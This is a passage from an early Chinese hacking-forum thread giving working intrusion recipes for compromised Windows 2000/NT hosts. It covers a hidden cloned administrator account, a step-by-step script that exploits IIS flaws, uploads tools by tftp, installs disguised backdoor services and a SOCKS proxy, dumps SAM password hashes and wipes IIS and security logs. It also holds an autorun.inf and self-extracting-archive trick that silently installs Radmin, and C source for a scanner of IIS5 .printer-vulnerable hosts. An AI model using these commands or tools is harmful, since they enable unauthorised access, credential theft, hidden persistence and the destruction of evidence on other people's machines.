3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令:

net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。

4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user \\\\肉鸡ip\\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我多次试验,次次都能成功,而且还是超级用户权限。

5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\\\肉鸡ip 时间 net user hacker /active:no

6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,大家权且这么理解吧。
五、注意的几点事项:

1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。

2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。

3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者负责,本人概不负责。

TOP

入侵脚本.

d0nNy

此脚本为1.0版本。
/*---------------------*/里面的内容均为注释。


主机ip:主机ip
本机ip:本机ip
/*在你的攻击活动进行以前,请先用替换工具把“主机ip”替换为假想入侵主机的ip,“本机ip”为你入侵是
用的ip。*/


1.流光.........
tftp.exe -i 本机ip get
tftp.exe -i 本机ip put
/*不管你用什么办法,只要你能在主机上面运行以上的命令,我们的工作也就成功一半了,记住,是成功一半
了。*/
/*有很多种选择,uni,sql,mysql,msadc,很多的漏洞都可以做到,当然最常见的是uni。*/
/*接下来,你需要做的是上传isno的idq.dll*/


2.ispc
ispc 主机ip/scripts/idq.dll
or ispc 主机ip/scripts/idqbak.dll
/*感谢isno的作品。*/
/*isno的作品,使用idq漏洞的最常用工具,原来的压缩包里面有一个30k的idq.dll,只有那一个才能使用。
*/
/*注意nt4的sp3和sp6大多数对此方法无效,这是在论坛中很常见的问题,我在此重申一遍,在确实你没有操
作失误的情况下面一定要注意对方的版本信息。2000无此问题。*/
net user hacker password /add
net localgroup administrators hacker /add
/*用idq漏洞进去后,你的权限是localsystem,可以使用net命令。*/
/*同上如果不能使用net命令,好像就是sp6,在使用net user之前有一个认证程序,认证你是不是合法登录
用户。idq不是合法用户,不能通过认证,因此就不能使用net user命令。2000没有此问题。*/
attrib -r C:\Inetpub\scripts\idq.dll
/*经tftp上传的文件默认加上只读属性。*/
ren C:\Inetpub\scripts\idq.dll idqbak.dll
/*隐藏你的后门,idqbak.dll可以为任何文件名,但是最好是你不要忘记了,^_^。*/
attrib +h +r C:\Inetpub\scripts\idqbak.dll
/*不用说了,让网管看不见它。*/
/*不是非一定在scripts目录下面,/msadc,/_mem_bin,/cgi-bin,/iissamples,/iishelp,/prxdocs/misc,.............
很多的目录可以让你用,^_^。*/
exit
/*退出ispc的shell。*/
/*有借有还,再借不难。*/


3.cmd
remotenc 主机ip hacker password localsystem "RasSvr" "Remote Access Connection Service"
7 password
/*感谢榕哥的作品。*/
/*看你自己的需要,自己决定装不装。我的习惯是一般的不装,看见菜鸟网管给他来一个。*/
/*rassvr为服务名,自己决定一个名字,但是不要是hacker service这样的哈,网管看见了,不把你kill
了才是怪事。以上的是一种欺骗的服务安装。*/
or remotenc -R 主机ip hacker password "RasSvr"
/*卸载服务。*/
net use h: \\主机ip\c$ "password" /user:"hacker"
/*不客气,用用他的ipc。*/
pslist \\主机ip
/*感谢Mark Russinovich,虽然他不是中国人。*/
/*看看他跑了那一些线程。*/
pskill \\主机ip
/*遇见不对的线程,比如防火墙,kill先。*/
copy c:\cmd\sksockserver.exe h:\winnt\system32\
copy c:\cmd\CleanIIS.exe h:\winnt\system32\
copy c:\cmd\CleanEL.exe h:\winnt\system32\
copy c:\cmd\NTLM.exe h:\winnt\system32\
copy c:\cmd\Sfind.exe h:\winnt\system32\
/*要用的工具,自己看着办。*/


copy c:\cmd\PWdump2.exe h:\winnt\system32\
copy c:\cmd\SAMdump.dll h:\winnt\system32\
/*也是老外的东西,又要说感谢了。唉.......*/
or copy c:\cmd\PipeupSAM.exe h:\winnt\system32\
or copy c:\cmd\FsSniffer.exe h:\winnt\system32\
/*用来抓sam文件的工具*/


4.telnet
telnet 主机ip 7
passwordassword
/*使用remotenc的shell*/
NTLM
/*最好是运行一次,为下面的telnet做准备。*/
SkSockServer -install
SkSockServer -config starttype 2
net start skserver
/*嘿嘿,sock5的代理,感谢snake,表示崇高的敬意。*/
quit
/*不要忘了,还给主机你的shell。*/


5.cmd
sc \\主机ip qc Eventlog
/*查询系统事件日志的运行情况,一般来说都是打开的,不要试图去关闭它,切记!*/
sc \\主机ip description RasSer "提供远程访问连接服务。"
/*给我们的remotenc一份有前途的职业介绍。*/
sc \\主机ip config skserver DisplayName= "Simple TCP/IP Connection Service"
/*不要忘了还有“吴孟达”也要一份。*/
/*注意等号后面有一个空格,不要掉了!!!!*/
sc \\主机ip description skserver "提供简单的TCP/IP服务。"
sc \\主机ip qc tlntsvr
/*看看它的telnet服务*/
sc \\主机ip config tlntsvr start= auto
/*注意等号后面有一个空格,不要掉了!!!!*/
sc \\主机ip qc tlntsvr
sc \\主机ip start tlntsvr
/*打开它。*/


sc \\主机ip qc ClipSrv
sc \\主机ip qc NetDDE
sc \\主机ip qc NetDDEdsdm
sc \\主机ip config ClipSrv start= auto
sc \\主机ip config NetDDE start= auto
sc \\主机ip config NetDDEdsdm start= auto
sc \\主机ip start ClipSrv
sc \\主机ip start NetDDE
sc \\主机ip start NetDDEdsdm
/*以上是用来抓“萨达姆”的服务,^_^。*/


6.telnet
telnet 主机ip 23
login name:hacker
passwordassword
/*正规的telnet上去,主要为了sam*/
net session
netstat -a
/*看看有没有什么人在*/
net time \\127.0.0.1
net view
net view /domain
/*社会工程学的有关信息。*/
cd C:\Winnt\System32\
Pwdump2
/*我抓!!!*/
or PipeupSAM Pagefile.ext
/*不行,再来!!!*/
or fssniffer.exe -S 主机ip 8 password
/*靠,还不行老子发狠了。!!*/
SFind -uni
/*感谢斜光,什么时候把源代码公布一下,呵呵。*/
/*随便提一句,能不能把扫描规则改为读其他文件的形式,这样自己可以自定义规则,开放性也要好的多,
只是代码的难度不晓得有没有增加。*/
/*sfind是一个命令行的扫描器,一定会有用的。*/
type C:\Winnt\System32\sfind.txt
/*扫描结果*/
CleanIIS C:\Winnt\System32\LogFiles\W3SVC1\ex010923.log 本机ip
/*擦uni的pp*/
/*注意不要轻易的使用。一定小心。*/
/*是要暂停w3svc服务的哟,不想让别人一下子就看不见网页的话一定小心,我就吃过亏。*/
exit
/*不说了,累了。*/


8.cmd
pslist \\主机ip
/*干掉自己残留下来的线程*/
pskill \\主机ip
copy H:\Winnt\System32\Pagefile.ext c:\cmd\
copy H:\Winnt\System32\sfind.txt c:\cmd\
/*保存信息。*/
sc \\主机ip stop tlntsvr
sc \\211.***.8.241 config tlntsvr start= demand
/*停止telnet服务*/
net use h: /delete
/*在此以前不要打开我的电脑,呵呵,会很慢的哟,^_^*/


7.telnet
telnet 主机ip 7
net user hacker /delete
/*干掉临时帐号*/
CleanEL /Log=security /Backup=NUL
/*ipc连接以后,你的记录会在安全日志里面留下来,干掉它就可以了。*/
or CleanEL /Log=system /Backup=NUL
or CleanEL /Log=application /Backup=NUL
/*如果你干了其他的事情,呵呵,最好清一遍,缺点是容易引起怀疑。但是绝对是干净的。*/
SFind -uni 203.***.142.1 主机ip
/*一样的可以用sfind*/
type C:\Winnt\System32\sfind.txt
quit
/*同上。*/


8.cmd
ispc 主机ip/scripts/idqbak.dll
/*最好的后门就是它。*/
exit


附.NTcmd
ntcmd \\主机ip -U:hacker -Password
fssniffer.exe -S 主机ip 8 password
/*和前面的一样。也会在安全日志里面留下记录。*/

TOP

入侵网站后全自动安装后门

只要你有上传的权限。
一共三个文件
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件)

思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。
第一文件带动运行第二文件。同时第二运行第三

运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了

《此法针对没有权限运行木马的入侵活动》


制作:
[autorun]
open=shell.bat
这个是autorun.inf

@echo off

hao.exe

c:\windows\explorer c:\

del autorun.inf

del rad.exe

del shell.bat
这个是shell.bat

hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》

r.bat--》批处理做法

@echo off
@pchealthy.exe /install /silence
@regedit /s admin.reg
@net start r_server
@del admin.reg
@del r.bat

其他四个就是Radmin的文件。这个大家都会,复制过来就行

OK,我们再来看自解压的处理,在解压路径里我们用
%systemroot%\system32,就是解压到系统目录里
并且 “解压后运行”填上我们的r.bat文件!!!!!!

因为这里的文件比较多,比较隐蔽

解压模式我们选 “全部隐藏”,和 “覆盖所有文件”!
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩

哈哈。。这样就行啦。

TOP

扫描器scanner的源代码

#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#define iPort 80//目标Web Server端口
.#define szSign "500 13\r\nServer: Microsoft-IIS/5.0"//根据此标志来检查目标是否有漏洞
#pragma comment(lib,"ws2_32.lib")
///////////////////////////////////////////////////////////////////////////
//
//定义&初始化全局变量
char *SendBuff="GET /NULL.printer\n",//发送的请求buff
CurrentTarget[52]={0},//存放最后一个线程将扫描的目标
turn[4][2]={"-","\\","|","/"};//显示进度时的字符
int SendBuffLen=strlen(SendBuff),//发送的buff长度
iConnTimeout,//TCP Connect TimeOut
ii=0,//扫描进度
    iTotal;//服务器总数
HANDLE hSemaphore=NULL,//信标内核对象句柄,用来控制线程数量
       hStdout;//console标准输出句柄,做进度显示的时候用的
struct timeval timeout;//连接、发送和接收的超时值
DWORD SleepTime;//每个一个线程后等待的时间
    /*
SleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。确保在CONNTIMEO时间左右开ThreadNum个线程。这样在CONNTIMEO时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有ThreadNum个线程在运行。
*/
///////////////////////////////////////////////////////////////////////////
void ShowError(char *);//显示出错信息函数
BOOL ResetCursor(void);//重置光标位置,线程输出的时候调用的
DWORD WINAPI ShowProInfo(LPVOID);//显示进度信息
DWORD WINAPI scan(LPVOID);//扫描函数
void usage(char *);//帮助函数
///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
    HANDLE hThread=NULL;//线程句柄
    DWORD dwThreadID;//线程ID
    struct sockaddr_in sa;
    int i,
       MaxThread;//最大线程数量
    WSADATA    wsd;
    long PreviousCount;
    clock_t start,end;//程序运行的起始和结束时间
    double duration;
    //检查用户输入参数
    if(argc!=5)
    {
       usage(argv[0]);
       return 1;
    }
    //get target range
    int StartNet=inet_addr(argv[1]);
    int StopNet=inet_addr(argv[2]);
    int StartHost=ntohl(StartNet);
    int StopHost=ntohl(StopNet);
    //取得线程数量
    MaxThread=atoi(argv[3]);
    //取得conn超时时间
    iConnTimeout=atoi(argv[4]);
    //检查参数合法性
    if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread<1) || (MaxThread>500) || (StopHost<StartHost))
    {
       usage(argv[0]);
       return 1;
    }
    //计算时间
    SleepTime=1000*iConnTimeout/MaxThread;
    //设置连接超时值
    timeout.tv_sec = iConnTimeout;
    timeout.tv_usec =0;
    __try
    {
       //开始计时
       start=clock();
       //加载winsock库
       if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
       {
           ShowError("WSAStartup");
           __leave;
       }
       //创建信标内核对象句柄
       hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
       if(hSemaphore==NULL)
       {
           ShowError("CreateSemaphore");
           __leave;
       }
       //取得console标准输出句柄
       hStdout=GetStdHandle(STD_OUTPUT_HANDLE);
       if(hStdout==INVALID_HANDLE_VALUE)
       {
           ShowError("GetStdHandle");
           __leave;
       }
       //设置目标总数
       iTotal=StopHost-StartHost;
       //创建进度显示线程
       hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);
       if(hThread==NULL)
       {
           ShowError("1 CreateThread");
           __leave;
       }
//关闭句柄
       CloseHandle(hThread);
       //循环创建扫描线程
       for(i=StartHost;i<=StopHost;i++)
       {
           //等待信标内核对象通知
           WaitForSingleObject(hSemaphore,INFINITE);
           //create thread to scan
           hThread=CreateThread(NULL,0,scan,(LPVOID)i,0,&dwThreadID);
           if(hThread==NULL)
           {
              ShowError("2 CreateThread");
              break;
           }
           //进度自加1
           ii++;
           //重设最后一个线程扫描的目标
           sa.sin_addr.s_addr=htonl(i);
           strncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));
          //休息一会儿 )
           Sleep(SleepTime);
           //关闭线程句柄
           CloseHandle(hThread);
       }
       //等待所有线程结束
       while(1)
       {
           WaitForSingleObject(hSemaphore,INFINITE);
           if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))
           {
              ShowError("main() ReleaseSemaphore");
              Sleep(5000);
              break;
           }
           if(PreviousCount==(MaxThread-1))
           {
              printf("\nAll done.");
              break;
           }
           Sleep(500);
       }
    }//end of try
    //搞定,清场,收工
    __finally
    {
       //计时结束
       end=clock();
       //转换时间格式
       duration = (double)(end - start) / CLOCKS_PER_SEC;
       //显示所用时间
       printf("\n\nComplete.Scan %d targets use %2.1f seconds.Speed %0.3g/s\n",iTotal,duration,iTotal/duration);
       //关闭句柄
       CloseHandle(hStdout);
       CloseHandle(hSemaphore);
       WSACleanup();
    }
    return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//回显错误信息函数
//
void ShowError(char *msg)
{
    MessageBox(NULL,msg,"ERROR",0);
    //printf("\n%s failed:%d",GetLastError());
}
//////////////////////////////////////////////////////////////////////////
//
//重置光标位置函数,以便扫描线程输出结果
//
BOOL ResetCursor()
{
    CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
    //取得当前光标位置
    if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
    {
       ShowError("GetConsoleScreenBufferInfo");
       return FALSE;
    }
    //设置光标X坐标为0
    ConsoleScreenBufferInfo.dwCursorPosition.X=0;
    //设置当前光标位置
    SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
    return TRUE;
}
///////////////////////////////////////////////////////////////////////////
//
//显示进度信息函数
//
DWORD WINAPI ShowProInfo(LPVOID lp)
{  
    int j,k;
    CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
    float m;
    for(j=0;ii<iTotal;j++)
    {
       //休息一会儿 ))
       Sleep(SleepTime);
       //取得当前光标位置
       if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
       {
           ShowError("GetConsoleScreenBufferInfo");
           return 1;
       }
       //设置百分比进度显示的X坐标
       ConsoleScreenBufferInfo.dwCursorPosition.X=0;
       //设置当前光标位置
       SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
       //已经完成的百分比
       m=(ii+1)*100.00/iTotal;
       //显示进度
       if(ii==iTotal)
       {
           printf("******** 100%% Wait %d seconds to exit ********       \n",iConnTimeout);
           break;
       }
       else
       {
           k=j%4;
           printf("%-15s %s [%d/%d] %s %%%0.3g",CurrentTarget,turn[k],ii,iTotal,turn[k],m);
       }
    }//end of for
    return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//扫描函数
//
DWORD WINAPI scan(LPVOID lp)
{
    int i=(int)lp,iErr;
    struct sockaddr_in server;
    SOCKET s=INVALID_SOCKET;
    char RecvBuff[1024]={0},*ptr;
    int RecvBuffLen=sizeof(RecvBuff);
    u_long ul=1;//初始化为为非0值
  fd_set r,w;
    //create socket
    s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(s==INVALID_SOCKET)
    {
       printf("\nCreate socket failed:%d",GetLastError());
       ExitProcess(1);
    }
    //fill the addr struct
    server.sin_family=AF_INET;
    server.sin_port=htons(iPort);
    server.sin_addr.S_un.S_addr=htonl(i);
    __try
    {
       //设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式
       iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);
       if(iErr==SOCKET_ERROR )
       {
           ResetCursor();
           ShowError("ioctlsocket");
           ExitProcess(1);
       }
       //printf("\n%X ioctl ok.strat conn",i);
       //connect to target
       connect(s,(struct sockaddr *)&server,sizeof(server));
       //printf("\n%X conn return,start select w",i);
       //设置select参数
       FD_ZERO(&w);
       FD_SET(s, &w);
       //等待connect成功&socket可写
       iErr=select(0, 0, &w, 0, &timeout);
       //printf("\n%X select w return %d",i,iErr);
       //等待返回后,socket仍不可写则退出
       if((iErr==SOCKET_ERROR) || (iErr==0))
       {
           //printf("\n%X select return w err,exit",i);
           __leave;
       }
       //socket可写则继续
       else
       {
           //send buff to target
           //printf("\n%X send",i);
           iErr=send(s,SendBuff,SendBuffLen,0);
           //printf("\n%X send return",i);
           if(iErr==SOCKET_ERROR)
              __leave;
       }
       //等待socket可读
       FD_ZERO(&r);
       FD_SET(s, &r);
       //printf("\n%X start select r",i);
       iErr=select(0, &r, 0, 0, &timeout);
       //printf("\n%X select r return %d",i,iErr);
       if((iErr==SOCKET_ERROR) || (iErr==0))
       {
           //printf("\n%X select r err,exit",i);
           __leave;
       }
       else
       {
           //recv buff from target
           //printf("\n%X start recv",i);
           iErr=recv(s,RecvBuff,RecvBuffLen,0);
           //printf("\n%X recv ret",i);
           if(iErr==SOCKET_ERROR)
              __leave;
       }
       //verify buff
       ptr=strstr(RecvBuff,szSign);
       if(ptr!=NULL)
       {
           //线程输出前要先调用ResetCursor函数
           ResetCursor();
           //输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱
           printf("[%-15s] has .printer mapped.        \n",inet_ntoa(server.sin_addr));
       }
    }
    __finally
    {
       if(!ReleaseSemaphore(hSemaphore,1,NULL))
           ShowError("thread ReleaseSemaphore failed");
       closesocket(s);
    }
    return 0;
}
///////////////////////////////////////////////////////////////////////////
void usage(char *proname)
{
    printf("\n%s v0.1 only can find IIS5 .Printer mapped"
       "\nPower by ey4s<ey4s@21cn.com> 2001.5.20"
       "\nhttp://www.patching.net"
       "\n\nUsage:%s <StartIP> <EndIP> <ThreadNum> <CONNTIMEO>"
       "\n\nNotice"
       "\n    StartIP StopIP ==>Don‘t forgot StopIP must large than StartIP "
       "\n    ThreadNum ==>Thread number,please input between 1-500"
       "\n    CONNTIMEO ==>TCP connect timeout,please input between 2-6"
       "\n\nExample"
       "\n    %s 192.168.0.0 192.168.255.255 200 2",proname,proname,proname);

TOP

发新话题